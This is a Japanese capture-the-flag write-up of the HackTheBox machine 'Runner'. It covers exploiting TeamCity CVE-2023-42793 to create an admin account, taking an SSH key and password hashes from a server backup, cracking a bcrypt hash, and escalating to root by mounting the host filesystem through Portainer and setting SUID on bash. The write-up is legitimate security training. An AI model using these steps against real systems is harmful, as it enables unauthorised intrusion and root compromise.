今回はHackTheBoxのMediumマシン「Runner」のWriteUpです!
名前とアイコンがまさにランナーですが、一体どのようなマシンなのでしょうか。
グラフはいつものMediumマシンという感じですね。
評価が高いので、面白そうです。サクッと攻略目指して頑張ります!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Runner
列挙
では攻略を始めていきましょう!
まずはnmap
から実行していきます。
+[~/runner]
(σ▰>∇<)σ<10.10.14.61>$ sudo nmap -Pn -n -v -sS -p- --min-rate=1000 -A 10.129.87.174
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesnt have a title (text/plain; charset=utf-8).
80番と8000番がオープンしていました。
どちらもHTTPなので、とりあえずブラウザで確認してみましょう。
80番はCI/CDのサイトのようです。8000番もみてみましょう。
404が返ってきました。
ディレクトリ探索など行いましたが、特に情報がなかったのでサブドメインを列挙することにしました。ffuf
を実行しましょう。
+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://runner.htb -H 'HOST: FUZZ.runner.htb'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://FUZZ.runner.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
teamcity [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 214ms]
かなり時間はかかりましたが、teamcity
というサブドメインを発見しました。
hosts
ファイルに追記し、ブラウザでアクセスしてみましょう。
ログイン画面が表示されました。
CVE-2023-42793
バージョンが2023.05.3
のようなので、脆弱性がないかを確認してみると、以下の脆弱性を発見しました。
どうやら、adminアカウントを作成するエクスプロイトのようです。試しに実行してみましょう。
+[~/runner]
(σ▰>∇<)σ<10.10.14.61>$ python3 poc.py -u http://teamcity.runner.htb
=====================================================
* CVE-2023-42793 *
* TeamCity Admin Account Creation *
* *
* Author: ByteHunter *
=====================================================
Token: eyJ0eXAiOiAiVENWMiJ9.Z3F3aTZtTVQxVXo4S0N6a0VIdXJ4c2RyUXJN.YjY1OGYzOWMtYTFjZS00OWM5LWE1MzAtZTZkZjUyMGIyNTQ3
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminTOdK
Password: Main_password!!**
最終的に、ユーザ名とパスワードが出力されました。この認証情報を使用してログインできるようなので、ログインしてみます。
ログインに成功しました!
では、ここから侵入を目指していきます。管理者としてログインできたので、スクリプトを実行するような機能があればシェルを取得できそうです。
調べてみると、Exploit Notesに情報がありました。
手順に従って、リバースシェルの取得を目指しましょう。
と、思いましたがTeamCity
はサーバのバックアップを取得することができる機能があるようなので、先にそちらを試してみました。
まずServer Administration
からBackup
を選択し、Start Backup
というボタンを押下します。すると、バックアップが開始され、ZIPファイルのリンクが表示されます。
リンクを押下し、ZIPファイルを解凍させていきましょう。
+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ unzip ./TeamCity_Backup_20240427_082900.zip
Archive: ./TeamCity_Backup_20240427_082900.zip
TeamCity data backup; ZIP factory in use: memory-conservative (dynamic, shared); compression level -1.
inflating: version.txt
inflating: metadata/metadata-version.dat
inflating: charset
inflating: metadata/backup.config
inflating: metadata/schema.config
設定ファイルなどが複数あります。認証情報などが書かれていそうなので、中身を見てみようと思いましたが、抽出の中に激アツなファイルを発見しました。
+[~/…/projects/AllProjects/pluginData/ssh_keys]
(σ▰>∇<)σ<10.10.14.4>$ ls -l
total 4
---------- 1 kali kali 2590 Feb 28 19:56 id_rsa
SSHキーがあります!
John としてのシェル
このファイルを使用してSSH接続が行えそうなので、試してみます。問題はどのようなユーザで試すのかですが、TeamCity
をみると、存在しているユーザがわかりました。
メールアドレスからみて、John
というユーザとMatthew
というユーザでSSH接続を狙えそうです。まずは、john
から試してみましょう。
+[~/…/projects/AllProjects/pluginData/ssh_keys]
(σ▰>∇<)σ<10.10.14.4>$ ssh -i id_rsa john@10.10.11.13
john@runner:~$ whoami
john
初期侵入に成功しました!
john@runner:~$ ls -l
total 4
-rw-r----- 1 root john 33 Apr 25 23:02 user.txt
ユーザフラグも取得できました!
垂直権限昇格
ユーザフラグが取れたので、権限昇格を目指していきましょう!
と、その前にid
コマンドを実行すると、UIDが「1001」であることがわかりました。
john@runner:/home$ id
uid=1001(john) gid=1001(john) groups=1001(john)
通常UIDは「1000」であることが多いので、横移動が必要かもしれません。home
ディレクトリを確認してみると、TeamCity
でも確認できていたmatthew
というユーザが存在していることがわかります。
john@runner:/home$ ls -l
total 8
drwxr-x--- 4 john john 4096 Apr 27 01:25 john
drwxr-x--- 5 matthew matthew 4096 Apr 27 01:21 matthew
一旦ユーザの存在をメモしておき、次に進んでいきます。
では、試しにsudo -l
を実行してみましょう。
john@runner:~$ sudo -l
[sudo] password for john:
sudo: a password is required
パスワードが求められたので、sudo
は実行できないようです。
プロセスや権限を調査していく中で、対象にはローカルで実行されているサービスがあることに気づきました。
john@runner:~$ netstat -lntp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:5005 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8111 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::8000 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
もしかしたらWEBのサービスである可能性があります。構成を調査するために、nginx
のsites-enabled
ディレクトリ内を確認してみることにしました。
john@runner:/etc/nginx/sites-enabled$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Apr 4 10:24 .
drwxr-xr-x 8 root root 4096 Apr 4 10:24 ..
lrwxrwxrwx 1 root root 34 Feb 28 10:07 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 36 Feb 28 20:31 portainer -> /etc/nginx/sites-available/portainer
lrwxrwxrwx 1 root root 35 Feb 28 10:11 teamcity -> /etc/nginx/sites-available/teamcity
すると、teamcity
とは別にportainer
というファイルを発見しました。内容を確認してみます。
john@runner:/etc/nginx/sites-enabled$ cat portainer
server {
listen 80;
server_name portainer-administration.runner.htb;
location / {
proxy_pass https://localhost:9443;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
新たなサブドメインを発見しました!hosts
ファイルに追記し、ブラウザでアクセスしてみましょう。
ログイン画面が表示されました!
認証情報を取得する必要がありそうです。
Hash Crack
認証情報を取得するため、再度サーバ内の探索に戻ります。
色々と列挙していると、TeamCity
はmatthew
ユーザの権限で実行されていることがわかりました。
john@runner:/data/teamcity_server$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Feb 28 10:31 .
drwxr-xr-x 9 root root 4096 Feb 28 10:31 ..
drwxr-xr-x 7 matthew matthew 4096 Apr 27 08:29 datadir
drwxr-xr-x 6 matthew matthew 4096 Apr 27 09:38 logs
なので、先ほどバックアップとして取得した設定ファイルの中に認証情報があるかもしれないと考えました。
設定ファイルは複数あるので、grep
を使用して一気に確認してみましょう。
+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ grep 'matthew' -rl ./
./database_dump/vcs_username
./database_dump/users
検索したところ、matthew
という文字列を含むファイルが2つ見つかりました。どのような内容かをみてみると、、
+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ cat ./database_dump/users
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1714206402128, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1714179740622, BCRYPT
11, 37rd7c58, $2a$07$j0dhpwggEbrgMuK.3xZZGuIV76BIlFkPQO/IgnsxMCfS7Rdshgw/a, , 37rd7c58@example.com, 1714089662353, BCRYPT
12, city_admine0z1, $2a$07$FnZsjhEwx4DZ3J37KQgkwejWYipMdpz7.rNDl9fxUHef4D.3yb1dC, , angry-admin@funnybunny.org, 1714206487216, BCRYPT
users
というファイルにハッシュ化されたパスワードを発見しました!
matthew
のハッシュを解読できないか試してみます。
+[~/runner]
(σ▰>∇<)σ<10.10.14.4>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 128 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
piper123 (?)
1g 0:00:00:53 DONE (2024-04-27 18:51) 0.01860g/s 968.2p/s 968.2c/s 968.2C/s popop..photosynthesis
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ハッシュが解読できました!
SSHログインやsu
によるログインができないか試しましたが、ログインには成功しませんでした。
では、新たに見つけたログインページの認証に成功するか試してみます。
ログインに成功しました!
Portainer
それでは、本格的に権限昇格を目指します。私はコンテナへの攻撃手法を日頃から勉強しているのですぐにわかったのですが、実はPortainer
を使用して、権限昇格を行うことが可能です。
以下のような記事も公開されています。
記事にも書いてありますが、ルートディレクトリ(/
)をマウントすることで権限昇格を成功させます。
さっそく取り掛かりましょう。まずはマウントに使用するボリュームを作成する必要があります。Volumes
へ移動しましょう。
現状で2つのボリュームが作成されていますが、今回は新規に作成するので右上の+ Add volume
を押下します。ボリュームの作成画面に遷移するので、必要事項を入力していきます。
名前は適当でいいですが、オプションは重要です。それぞれを指定することでルートディレクトリをマウントすることが可能になります。
指定ができたら、Create the volume
を押下し完了させましょう。
これで、ボリュームの準備は完了です。
次にコンテナの作成に使用するイメージのIDをコピーします。images
にすでに存在するイメージを確認できます。
今回は「ubuntu:latest
」のものを使用します。
IDがコピーできたら、次はコンテナを作成していきます。コンテナの作成はContainers
で行います。
リストの右上の+ Add container
を押下し、イメージの部分に先ほどのIDを指定します。
指定ができたら、下にスクロールしAdvanced container settings
にあるconsole
をInteractive & TTY
へ変更します。
変更出来たら、Volumes
へ移動し、+ map additional volume
を押下します。
押下後入力欄が表示されるので、container
には/mnt/root
を入力し、volume
には先ほど作成したボリュームを選択します。
これで準備完了です!Deploy the container
を押下しコンテナをデプロイしましょう。
作成に成功しました!それでは、作成したコンテナを押下しContainer status
の中にあるConsole
を選択します。
するとコマンドを選択しシェルに接続する画面が表示されるので特に変更せずにConnect
を押下します。
コンテナに接続できました。それではマウント先を確認しに行きましょう。
root@c2c1bea51721:/mnt/root# ls -l
total 80
lrwxrwxrwx 1 root root 7 Feb 17 2023 bin -> usr/bin
drwxr-xr-x 3 root root 4096 Apr 15 09:44 boot
drwxr-xr-x 9 root root 4096 Feb 28 10:31 data
drwxr-xr-x 4 root root 4096 Feb 17 2023 dev
drwxr-xr-x 101 root root 4096 Apr 15 09:35 etc
drwxr-xr-x 4 root root 4096 Apr 4 10:24 home
lrwxrwxrwx 1 root root 7 Feb 17 2023 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Feb 17 2023 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Feb 17 2023 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Feb 17 2023 libx32 -> usr/libx32
drwx------ 2 root root 16384 Apr 27 2023 lost+found
drwxr-xr-x 2 root root 4096 Feb 17 2023 media
drwxr-xr-x 2 root root 4096 Feb 17 2023 mnt
drwxr-xr-x 4 root root 4096 Apr 4 10:24 opt
drwxr-xr-x 2 root root 4096 Apr 4 10:24 proc
drwx------ 6 root root 4096 Apr 25 23:02 root
drwxr-xr-x 14 root root 4096 Apr 4 10:24 run
lrwxrwxrwx 1 root root 8 Feb 17 2023 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Apr 4 10:24 srv
drwxr-xr-x 2 root root 4096 Apr 18 2022 sys
drwxrwxrwt 7 root root 4096 Apr 27 14:07 tmp
drwxr-xr-x 14 root root 4096 Feb 17 2023 usr
drwxr-xr-x 13 root root 4096 Feb 28 10:07 var
マウントに成功していそうです!
root としてのシェル
それでは権限を昇格させましょう!正直権限昇格を行わずルートフラグを読むこともできますが、どうせならきちんと攻略してしまいましょう。
わたしはいつも/bin/bash
にSUIDを付与する方法で権限昇格を行うので、今回もその手法で行きます。マウント先なので、パスに注意してください。
root@c2c1bea51721:/mnt/root# chmod u+s bin/bash
ホスト側でSUIDが付与されているか確認しましょう。
john@runner:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash
SUIDが付与されています!権限を昇格させましょう!
john@runner:~$ bash -p
bash-5.1# whoami
root
権限昇格成功です!
bash-5.1# ls -l /root
total 16
-rwxr-xr-x 1 root root 378 Apr 4 13:03 docker_clean.sh
-rw-r--r-- 1 root root 1907 Apr 2 14:00 initial_state.txt
-rwxr-xr-x 1 root root 592 Apr 2 13:55 monitor.sh
-rw-r----- 1 root root 33 Apr 25 23:02 root.txt
フラグも無事ゲットできました!完全攻略達成です!
攻略を終えて
今回は私の好きな技術であるコンテナが権限昇格で使用されていて個人的にかなり楽しいマシンでした。知っていたということもありサクッと攻略でしたが、portainer.ioを初めてみる人は少し苦戦するのではと思います。初期侵入は、TeamCityの脆弱性を悪用しました。こちらの脆弱性はバージョンから起因するものなので、やはりバージョン管理には重きを置いて確実に対応していきたいですね。
今後もHackTheBoxのWriteUpを公開していくので、みていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました!